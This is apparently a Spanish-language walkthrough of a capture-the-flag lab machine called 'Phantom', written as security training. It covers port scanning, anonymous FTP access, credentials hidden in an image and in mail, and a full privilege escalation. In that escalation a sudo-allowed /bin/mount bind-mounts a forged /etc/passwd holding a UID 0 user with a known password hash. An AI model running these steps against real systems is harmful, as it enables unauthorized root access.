

Phantom

NMAP recon

```
nmap -sCV -p- -Pn -n -vvv ip_victima
PORT      STATE SERVICE REASON      VERSION

22/tcp    open  ssh      syn-ack ttl 64 OpenSSH 9.2p1 Debian 2
+deb12u7 (protocol 2.0)

| ssh-hostkey:

|   256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)

| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbml
zdHAyNTYAAABBBBA9i7hiBgZdbqok5ESuJPFfkPuRpcCT6UEeh71LyPq3i2pfd
C6S1w4UY017jknxy06B1C0EcaGELE4n2KCor3M4=

|   256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25
519)

|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOaMroBaMRuicicDHyPlmRM
ULBpy40qNENpp/l/0/cIq

80/tcp    open  http      syn-ack ttl 64 Apache httpd 2.4.62
((Debian))

|_http-server-header: Apache/2.4.62 (Debian)

|_*http-title: Apache2 Debian Default Page: It works
| http-methods:
|_* Supported Methods: GET POST OPTIONS HEAD
```

```

995/tcp open  ssl/pop3 syn-ack ttl 64 Dovecot pop3d
| ssl-cert: Subject: commonName=debian
| Subject Alternative Name: DNS:debian
| Issuer: commonName=debian
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
2121/tcp open  ftp      syn-ack ttl 64 vsftpd 3.0.3
| ftp-syst:
|   STAT:
|   FTP server status:
|     Connected to 192.168.0.75
|     Logged in as ftp
|     TYPE: ASCII
|     No session bandwidth limit
|     Session timeout in seconds is 300
|     Control connection is plain text
|     Data connections will be plain text
|     At session startup, client count was 1
|     vsFTPD 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x   2 0          0          4096 Feb 02 02:48 pub
2222/tcp open  ssh      syn-ack ttl 64 OpenSSH 9.2p1 Debian 2
+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)
|_ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbml
zdHAyNTYAAABBA9i7hiBgZdbqok5ESuJPFfkPuRpcCT6UEeh71LyPq3i2pfd
C6S1w4UY017jknxy06B1C0EcaGELE4n2KCor3M4=
|   256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25
519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOaMroBaMRuicicDHYP1mRM
ULBpy40qNENpp/l/0/cIq
2323/tcp open  telnet   syn-ack ttl 64

```

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at <https://nmap.org/cgi-bin/submit.cgi?new-service> :

```
SF-Port2323-TCP:V=7.99%I=7%D=5/17%Time=6A0A6A14%P=x86_64-pc-l
inux-gnu%r(NU
SF:LL,15,"\\xff\\xfb%\\xff\\xfb&\\xff\\xfd\\x18\\xff\\xfd\\x20\\xff\\xfd#
\\xff\\xfd'\\xff
SF:\\xfd\\$)%r(tn3270,21,"\\xff\\xfb%\\xff\\xfb&\\xff\\xfd\\x18\\xff\\x
fd\\x20\\xff\\xf
SF:d#\\xff\\xfd'\\xff\\xfd\\$\\xff\\xfe\\x19\\xff\\xfc\\x19\\xf
```

Conexion por ftp ya que puede ser anonima y descarga de archivos

```
ftp 192.168.0.176 2121
```

```
✓ 13s
```

Connected to 192.168.0.176.

220 (vsFTPd 3.0.3)

Name (192.168.0.176:kali): anonymous

331 Please specify the password.

Password:

230 Login successful.

Remote system type is UNIX.

Using binary mode to transfer files.

```
ftp> ls
```

229 Entering Extended Passive Mode (|||41012|)

150 Here comes the directory listing.

```
drwxr-xr-x  2 0      0      4096 Feb 02 02:48 pub
```

226 Directory send OK.

```
ftp> ls -la
```

229 Entering Extended Passive Mode (|||48627|)

150 Here comes the directory listing.

```
drwxr-xr-x  3 0      0      4096 Jan 30 17:41 .
```

```
drwxr-xr-x  3 0      0      4096 Jan 30 17:41 ..
```

```

drwxr-xr-x    2 0          0          4096 Feb 02 02:48 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||45772|)
150 Here comes the directory listing.
drwxr-xr-x    2 0          0          4096 Feb 02 02:48 .
drwxr-xr-x    3 0          0          4096 Jan 30 17:41 ..
-rw-r--r--    1 0          0          85359 Feb 02 02:38 Bolet
o.jpg
-rw-r--r--    1 0          0          320 Jan 30 17:58 Manif
iesto_0.txt
-rw-r--r--    1 0          0          294586 Jan 30 18:51 posta
l_caribe.jpg
-rw-r--r--    1 0          0          58 Jan 30 18:00 posta
l_caribe.txt
226 Directory send OK.
ftp> mget
(remote-files) *
mget Boletto.jpg [anpqy?]? y
229 Entering Extended Passive Mode (|||47415|)
150 Opening BINARY mode data connection for Boletto.jpg (85359
bytes).
100% |***| 85359          9.91 MiB/s    00:00 ETA
226 Transfer complete.
85359 bytes received in 00:00 (9.37 MiB/s)
mget Manifiesto_0.txt [anpqy?]? y
229 Entering Extended Passive Mode (|||43799|)
150 Opening BINARY mode data connection for Manifiesto_0.txt
(320 bytes).
100% |***| 320          42.46 KiB/s    00:00 ETA
226 Transfer complete.
320 bytes received in 00:00 (39.84 KiB/s)
mget postal_caribe.jpg [anpqy?]? y
229 Entering Extended Passive Mode (|||46068|)

```

```
150 Opening BINARY mode data connection for postal_caribe.jpg
(294586 bytes).
100% |***| 287 KiB 31.27 MiB/s 00:00 ETA
226 Transfer complete.
294586 bytes received in 00:00 (30.31 MiB/s)
mget postal_caribe.txt [anpqy?]? y
229 Entering Extended Passive Mode (|||45961|)
150 Opening BINARY mode data connection for postal_caribe.txt
(58 bytes).
100% |***| 58 7.72 KiB/s 00:00 ETA
226 Transfer complete.
58 bytes received in 00:00 (7.32 KiB/s)
```

Lectura de archivos

```
cat Manifiesto_0.txt
```

```
□ ✓
```

```
Manifiesto 0 - Phantom
```

Como white-hat, securizaba fortalezas ajenas... pero vi las grietas en el sistema.

Las corporaciones pagan por protección, pero el mundo real se desmorona bajo deudas y control.

¿Cuánto más puedo seguir ayudando al enemigo?

Un paraíso lejano me espera... quizás ya estoy allí.

- Phantom

```
cat postal_caribe.txt
```

```
□ 1 ✗
```

```
Postal del Caribe - Un sueño de escape... ¿o una pista?
```

Debido a la tonta pista del archivo foto del caribe buscamos info

```
strings Work/postal_caribe.jpg
```

```
Telnet 2323
```

```
user: phantom
```

```
pass: shadow321
```

```
Conecta... pero
```

```
es real o solo otro cebo de Phantom?
```

```
- El para
```

```
so espera al que sepa mirar m
```

```
s all
```

```
de la superficie.
```

Nos conectamos con telnet y buscamos por mails. Los listamos con LIST y vemos sus contenidos con RETR

```
telnet 192.168.0.176 2323
```

```
☐ ✓
```

```
Trying 192.168.0.176...
```

```
Connected to 192.168.0.176.
```

```
Escape character is '^['.
```

```
Linux 6.1.0-26-amd64 (shadowroot) (pts/0)
```

```
shadowroot nombre: phantom
```

```
Contraseña: shadow321
```

```
Linux shadowroot 6.1.0-26-amd64 #1 SMP PREEMPT_DYNAMIC Debian  
6.1.112-1 (2024-09-30) x86_64
```

```
Has entrado al lair de Phantom.
```

```
Si no eres yo, ya estás muerto digitalmente...
```

```
Pero bienvenido, cazador... ¿cuánto durarás?
```

- Phantom

Último inicio de sesión: vie ene 30 19:04:26 CET 2026 de 192.168.100.167 en pts/1

Tiene correo nuevo.

Bienvenido de nuevo, intruso... o ¿debería decir cazador?
Phantom sabe que estás aquí. ¿Buscas el camino verdadero?
Usa esto... pero recuerda: todo es un juego.

Conectando al servidor de correo oculto... (POP3 localhost:110)

Usuario: phantom

Pass: shadow321 (la misma que usaste aquí)

El servidor de correo te espera... demuestra que vales la pena.

Comandos POP3 básicos... no te demores.

Trying ::1...

Connection failed: Conexión rehusada

Trying 127.0.0.1...

Connected to localhost.

Escape character is '^]'.

+OK Dovecot (Debian) ready.

USER phantom

PASS shadow321

LIST

+OK 2 messages:

1 1881

2 306

RETR 1

+OK 1881 octets

Return-path: <>

Envelope-to: phantom@debian

Delivery-date: Fri, 30 Jan 2026 18:50:08 +0100
Received: from Debian-exim by debian with local (Exim 4.96)
id 1vlsdE-0001ri-04
for phantom@debian;
Fri, 30 Jan 2026 18:50:08 +0100
X-Failed-Recipients: phantom@local
Auto-Submitted: auto-replied
From: Mail Delivery System [Mailer-Daemon@debian](mailto:Mail
er-Daemon@debian)
To: phantom@debian
References: [E1vlsdD-0001rf-33@debian](mailto:E1vlsdD-0001rf-
33@debian)
Content-Type: multipart/report; report-type=delivery-status;
boundary=1769795408-eximdsn-1213592950
MIME-Version: 1.0
Subject: Mail delivery failed: returning message to sender
Message-Id: [E1vlsdE-0001ri-04@debian](mailto:E1vlsdE-0001ri-
04@debian)
Date: Fri, 30 Jan 2026 18:50:08 +0100

- -1769795408-eximdsn-1213592950
Content-type: text/plain; charset=us-ascii

This message was created automatically by mail delivery softw
are.

A message that you sent could not be delivered to one or more
of its
recipients. This is a permanent error. The following address
(es) failed:

phantom@local
Mailing to remote domains not supported

- -1769795408-eximdsn-1213592950
Content-type: message/delivery-status

Reporting-MTA: dns; debian

Action: failed

Final-Recipient: rfc822;phantom@local

Status: 5.0.0

- -1769795408-eximdsn-1213592950

Content-type: message/rfc822

Return-path: phantom@debian

Received: from root by debian with local (Exim 4.96)

(envelope-from phantom@debian)

id 1vlSD-0001rf-33

for phantom@local;

Fri, 30 Jan 2026 18:50:07 +0100

From: Phantom phantom@local

To: phantom@local

Subject: Credenciales SSH - No las compartas, novato

Message-Id: E1vlSD-0001rf-33@debian

Date: Fri, 30 Jan 2026 18:50:07 +0100

Usuario: phantom_ssh

Contraseña: ThL_sh@d0w2026!

Conecta a SSH puerto 2222 con estas... pero ¿es el camino real?

No tardes, el tiempo corre... y yo ya estoy en el Caribe.

- Phantom

- -1769795408-eximdsn-1213592950--

RETR 2

+OK 306 octets

From: Phantom phantom@localhost

To: phantom@localhost

Subject: Credenciales SSH - No las compartas, novato

Usuario: phantom_ssh

Contraseña: ThL_sh@d0w2026!

Conecta a SSH puerto 2222 con estas... pero ¿es el camino real?

No tardes, el tiempo corre... y yo ya estoy en el Caribe.

- Phantom

QUIT

+OK Logging out.

Connection closed by foreign host.

Se acabó el tiempo... ¿Encontraste lo que buscabas?

Phantom siempre un paso adelante.

Connection closed by foreign host.

Entramos por ssh

```
ssh [phantom_ssh@192.168.0.176](mailto:phantom_ssh@192.168.0.176) -p 2222
```

```
❏ 127 ❏ 4s ❏
```

```
[phantom_ssh@192.168.0.176](mailto:phantom_ssh@192.168.0.176)'s password:
```

```
Linux shadowroot 6.1.0-26-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.112-1 (2024-09-30) x86_64
```

```
Has entrado al lair de Phantom.
```

```
Si no eres yo, ya estás muerto digitalmente...
```

```
Pero bienvenido, cazador... ¿cuánto durarás?
```

- Phantom

```
Last login: Tue Feb 3 01:58:18 2026 from 192.168.100.167
```

```
phantom_ssh@shadowroot:cat THL_USER.txt  
THL_USER{PhantomWelcomesYou}
```

El señuelo mordió. Que comience el laberinto.
Pero recuerda: todo lo que ves es calculado.

El núcleo de esta explotación se basa en un concepto de administración de Linux: **la confianza ciega en un binario del sistema (`/bin/mount`) cuando se le otorgan permisos de superusuario mediante `sudo` sin delimitar sus parámetros.**

Paso 1: Identificación del Vector (`sudo -l`)

```
phantom_ssh@shadowroot:/tmp$ sudo -l  
Matching Defaults entries for phantom_ssh on shadowroot:  
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr  
r/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty  
  
User phantom_ssh may run the following commands on shadowroo  
t:  
    (ALL) NOPASSWD: /usr/sbin/cryptsetup, /bin/mount, /bin/um  
ount, /usr/bin/mkdir
```

Paso 2: Clonación del archivo de usuarios (`/etc/passwd`)

El archivo `/etc/passwd` contiene la lista de todos los usuarios del sistema, sus identificadores numéricos (UID) y sus directorios de inicio. Es legible por cualquier usuario, pero solo Root puede modificarlo. Hice una copia exacta en un directorio donde sí tenía permisos de escritura (`/tmp`):

```
phantom_ssh@shadowroot:/tmp$ cp /etc/passwd /tmp/passwd_falso
```

Paso 3: Generación del hash de la contraseña

Para que el sistema operativo valide una contraseña al cambiar de usuario, esta

no puede guardarse en texto plano. Usamos `openssl` para generar un hash criptográfico en formato **MD5 (crypt)**, usando el salto (*sa/t*) `"hack"` y la contraseña `"password123"`:

```
openssl passwd -1 -salt hack password123
$1$hack$MLgkAESrYp7kzYz0Ex2fV/
```

Paso 4: Creación del "Clon de Root"

En Linux, los privilegios de un usuario no dependen de su nombre (puedes llamarte `hacker`, `phantom` o `root`), sino de su **UID (User ID)**. El usuario con **UID 0** es, por definición, el administrador supremo del sistema.

Inyecto una nueva línea al final de la copia temporal con la siguiente estructura:

```
phantom_ssh@shadowroot:/tmp$ echo 'hacker:$1$hack$MLgkAESrYp7kzYz0Ex2fV/:0:0:root:/root:/bin/bash' >> /tmp/passwd_falso
```

Paso 5: El engaño al sistema operativo (**Bind Mount**)

Este es el punto crítico de la explotación. Como no podía sobrescribir el `/etc/passwd` real, utilice el permiso de `sudo` con la opción `-o bind` (montaje de enlace):

```
phantom_ssh@shadowroot:/tmp$ sudo /bin/mount -o bind /tmp/passwd_falso /etc/passwd
phantom_ssh@shadowroot:/tmp$ su hacker
Contraseña:
root@shadowroot:/tmp# whoami
root
root@shadowroot:/tmp# cat /root/
.bash_history      .config/          .local/           mpg123_
final.mp3  .ssh/
.bashrc            .lessht           manifest5.txt     .profil
e                  THL_ROOT.txt
root@shadowroot:/tmp# cat /root/THL_ROOT.txt
```

```
THL_ROOT{YO_SOY_TU_PADRE!!!}
```